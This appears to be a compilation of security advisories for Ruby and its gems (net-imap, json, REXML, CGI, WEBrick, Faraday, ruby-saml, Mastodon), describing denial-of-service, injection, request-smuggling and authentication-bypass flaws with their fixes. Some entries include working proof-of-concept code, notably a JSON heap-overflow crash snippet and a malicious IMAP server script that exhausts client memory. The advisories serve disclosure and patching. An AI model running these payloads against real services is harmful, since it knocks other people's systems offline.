crmne/rubyllm at commit fa6f279847d6d7027814539d9c0dfc3bbdfd2a83 contains a polynomial-time regular expression denial-of-service condition in RubyLLM::Utils.underscore on Ruby 3.1.x. A very long crafted class, agent, or tool name can cause excessive CPU consumption and a denial of service.

Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to 0.6.5 and 0.5.15, several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals. A server without support for non-synchronizing literals may interpret the "+}\r\n" as the end of a malformed command line and respond with a tagged BAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed. This affects criteria for #search and #uidsearch; searchkeys for #sort, #thread, #uidsort, and #uidthread; and attr for #fetch and #uidfetch. This vulnerability is fixed in 0.6.5 and 0.5.15.

Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to 0.6.5 and 0.5.15, several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed. This vulnerability is fixed in 0.6.5 and 0.5.15.

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.

Summary

JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.

Details

Root cause is in ext/json/fbuffer/fbuffer.h, fbufferdoinccapa().

On the IO path, the buffer is grown to FBUFFERIOBUFFERSIZE (16383), but the early return checks total capacity instead of remaining capacity:

c if (RBUNLIKELY(fb->io)) { if (fb->capa < FBUFFERIOBUFFERSIZE) { fbufferrealloc(fb, FBUFFERIOBUFFERSIZE); } else { fbufferflush(fb); }

if (RBLIKELY(requested < fb->capa)) { return; } }

If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbufferappendreserved() then writes past the buffer:

c MEMCPY(fb->ptr + fb->len, newstr, char, len);

The minimal fix is to compare against the remaining capacity:

diff - if (RBLIKELY(requested < fb->capa)) { + if (RBLIKELY(requested <= fb->capa - fb->len)) { return; }

PoC

ruby require "json" require "stringio"

io = StringIO.new big = "a" 16385 big[16382] = '"' # escapable byte near the buffer boundary

JSON.dump([big], io)

Verified results:

text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbufferappendreserved ext/json/fbuffer/fbuffer.h:145 searchflush ext/json/generator/generator.c:139 convertUTF8toJSON ext/json/generator/generator.c:231 rawgeneratejsonstring ext/json/generator/generator.c:922 cStatemgenerate ext/json/generator/generator.c:1891

Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.

Impact

A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

An issue was discovered in Ruby 4 before 4.0.5. A race condition leading to a use-after-free in the pthread-based getaddrinfo timeout handler (rbgetaddrinfo in ext/socket/raddrinfo.c) allows a remote attacker who can delay DNS responses near the user-specified timeout to crash a Ruby process that calls Addrinfo.getaddrinfo(..., timeout:) or Socket.tcp(..., resolvtimeout:). Memory-corruption-based exploitation is theoretically possible. The attack could, for example, be carried out through a crafted authoritative DNS server or recursive resolver.

A vulnerability was found in Ruby. The Ruby interpreter is vulnerable to the Marvin Attack. This attack allows the attacker to decrypt previously encrypted messages or forge signatures by exchanging a large number of messages with the vulnerable service.

Admin Framework. A logic issue was addressed with improved checks.

Ruby interpreter is vulnerable to the Marvin Attack. This attack allows the attacker to decrypt previously encrypted messages or forge signatures by exchanging large number of messages with the vulnerable service.

The attacker needs to be able to directly or indirectly measure the time of calling to RSA::privatedecrypt() or PKey::decrypt() and the error handling of those methods. Attacks over network are possible if network service can be made to perform calls to those functions with attacker controlled messages.

In the CGI gem before 0.4.2 for Ruby, the CGI::Cookie.parse method in the CGI library contains a potential Denial of Service (DoS) vulnerability. The method does not impose any limit on the length of the raw cookie value it processes. This oversight can lead to excessive resource consumption when parsing extremely large cookies.

In the CGI gem before 0.4.2 for Ruby, a Regular Expression Denial of Service (ReDoS) vulnerability exists in the Util#escapeElement method.

Mastodon is a free, open-source social network server based on ActivityPub. Prior to 4.5.10, 4.4.17, and 4.3.23, when using Ruby versions older than 3.4, PrivateAddressCheck.privateaddress? returns false for IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) corresponding to some private IPv4 addresses, depending on Ruby version, this can include loopback, RFC1918 private networks, and link-local space. An attacker who controls DNS for any domain can publish an AAAA record with such a mapped address; any outbound HTTP fetch Mastodon performs against that hostname then opens a real TCP connection to the underlying IPv4 address, including 127.0.0.1 and cloud-metadata endpoints such as 169.254.169.254. This vulnerability is fixed in 4.5.10, 4.4.17, and 4.3.23.

Impact

A specially crafted document could cause an out of bound read, most likely resulting in a crash.

Versions 2.10.0 and 2.10.1 are impacted. Older versions are not.

Patches

Version 2.10.2 fixes the problem.

Workarounds

None.

Summary An authentication bypass vulnerability was found in ruby-saml due to a parser differential. ReXML and Nokogiri parse XML differently, the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack.

Impact This issue may lead to authentication bypass.

Summary There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

ruby 40 bytes expands to ~1.6GB: " OK [COPYUID 1 1:99999999 1:99999999]\r\n"

Worst valid input scenario (using uint32 max), 44 bytes expands to 64GiB: " OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

Numbers must be non-zero uint32, but this isn't validated. Arrays larger than UINT32MAX can be created. For example, the following would theoretically expand to almost 800 exabytes: " OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this: ruby require "net/imap"

def test(size) input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n" parser = Net::IMAP::ResponseParser.new parser.parse input end

test(99999999)

Fixes

Preferred Fix, minor API changes Upgrade to v0.4.19, v0.5.6, or higher, and configure: ruby globally Net::IMAP.config.parserusedeprecateduidplusdata = false per-client imap = Net::IMAP.new(hostname, ssl: true, parserusedeprecateduidplusdata: false) imap.config.parserusedeprecateduidplusdata = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :uptomaxsize. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parsermaxdeprecateduidplusdatasize to set the maximum UIDPlusData UID set size. When config.parserusedeprecateduidplusdata == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parserusedeprecateduidplusdata == :uptomaxsize, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.addresponsehandler do |resp| next unless resp.respondto?(:name) && resp.respondto?(:data) name = resp.name code = resp.data.code&.name if resp.data.respondto?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { 1.slice!(0...-limit) } imap.responses(code) { 1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable: ruby #!/usr/bin/env ruby require 'socket' require 'net/imap'

if !defined?(Net::IMAP.config) puts "Net::IMAP.config is not available" elsif !Net::IMAP.config.respondto?(:parserusedeprecateduidplusdata) puts "Net::IMAP.config.parserusedeprecateduidplusdata is not available" else Net::IMAP.config.parserusedeprecateduidplusdata = :uptomaxsize puts "Updated parserusedeprecateduidplusdata to :uptomaxsize" end

size = Integer(ENV["UIDSETSIZE"] || 232-1)

def serveraddr Addrinfo.tcp("localhost", 0).ipaddress end

def createtcpserver TCPServer.new(serveraddr, 0) end

def startserver th = Thread.new do yield end sleep 0.1 until th.stop? end

def copyuidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" end

def appenduidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" end

server = createtcpserver port = server.addr[1] puts "Server started on port #{port}"

server startserver do sock = server.accept begin sock.print " OK test server\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}"

maliciousresponse = appenduidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse

maliciousresponse = copyuidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse sock.print " CAPABILITY JUMBO=UIDPLUS PROOFOFCONCEPT\r\n" sock.print "#{tag} OK CAPABILITY completed\r\n"

cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}" sock.print " BYE If you made it this far, you passed the test!\r\n" sock.print "#{tag} OK LOGOUT completed\r\n" rescue Exception => ex puts "Error in server: #{ex.message} (#{ex.class})" ensure sock.close server.close end end

client begin puts "Client connecting,.." imap = Net::IMAP.new(serveraddr, port: port) puts "Received capabilities: #{imap.capability}" pp responses: imap.responses imap.logout rescue Exception => ex puts "Error in client: #{ex.message} (#{ex.class})" puts ex.fullmessage ensure imap.disconnect if imap end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB: console $ ( ulimit -v 1000000 && exec ./poc.rb ) Server started on port 34291 Client connecting,.. Received: RUBY0001 CAPABILITY Sending: OK [APPENDUID 1 1:4294967295] too large? Sending: OK [COPYUID 1 1:4294967295 1:4294967295] too large? Error in server: Connection reset by peer @ iofillbuf - fd:9 (Errno::ECONNRESET) Error in client: failed to allocate memory (NoMemoryError) /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#gettaggedresponse': failed to allocate memory (NoMemoryError) from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#sendcommand' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#sendcommand' from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' from /workspace/poc.rb:70:in '<main>'

The Time parser mishandles invalid strings that have specific characters. It causes an increase in execution time for parsing strings to Time objects.

A ReDoS issue was discovered in the Time gem 0.1.0 and 0.2.1 and Time library of Ruby 2.7.7.

Impact

The REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.

Patches

REXML gems 3.4.2 or later include the patches to fix these vulnerabilities.

Workarounds

Don't parse untrusted XMLs.

References

https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org

Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.

REXML is an XML toolkit for Ruby. The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities.

An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production."

REXML is an XML toolkit for Ruby. The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. The REXML gem 3.3.6 or later include the patch to fix the vulnerability.

REXML is an XML toolkit for Ruby. The REXML gem 3.3.2 has a DoS vulnerability when it parses an XML that has many entity expansions with SAX2 or pull parser API. The REXML gem 3.3.3 or later include the patch to fix the vulnerability.

End of life: 3/31/2029, Latest version: 4.0.6

REXML is an XML toolkit for Ruby. The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. The REXML gem 3.3.9 or later include the patch to fix the vulnerability.

ruby-jwt v3.0.0.beta1 was discovered to contain weak encryption. NOTE: the Supplier's perspective is "keysize is not something that is enforced by this library. Currently more recent versions of OpenSSL are enforcing some key sizes and those restrictions apply to the users of this gem also."

A memory leak was found in ruby-magick an interface between Ruby and ImageMagick, that could lead to a Deny of Service (DOS) by memory exhaustion.

References:

https://github.com/rmagick/rmagick/issues/1401 https://github.com/rmagick/rmagick/pull/1406

This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the readheaders method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests.

This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the readheaders method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests.

It was discovered that Ruby incorrectly handled parsing of an XML document that has specific XML characters in an attribute value using REXML gem. An attacker could use this issue to cause Ruby to crash, resulting in a denial of service. This issue only affected in Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 24.10. (CVE-2024-35176, CVE-2024-39908, CVE-2024-41123, CVE-2024-43398) It was discovered that Ruby incorrectly handled expanding ranges in the net-imap response parser. If a user or automated system were tricked into connecting to a malicious IMAP server, a remote attacker could possibly use this issue to consume memory, leading to a denial of service. This issue only affected Ubuntu 24.04 LTS, and Ubuntu 24.10. (CVE-2025-25186) It was discovered that the Ruby CGI gem incorrectly handled parsing certain cookies. A remote attacker could possibly use this issue to consume resources, leading to a denial of service. (CVE-2025-27219) It was discovered that the Ruby CGI gem incorrectly handled parsing certain regular expressions. A remote attacker could possibly use this issue to consume resources, leading to a denial of service. (CVE-2025-27220) It was discovered that the Ruby URI gem incorrectly handled certain URI handling methods. A remote attacker could possibly use this issue to leak authentication credentials. (CVE-2025-27221)

End of life: 3/31/2028, Latest version: 3.4.10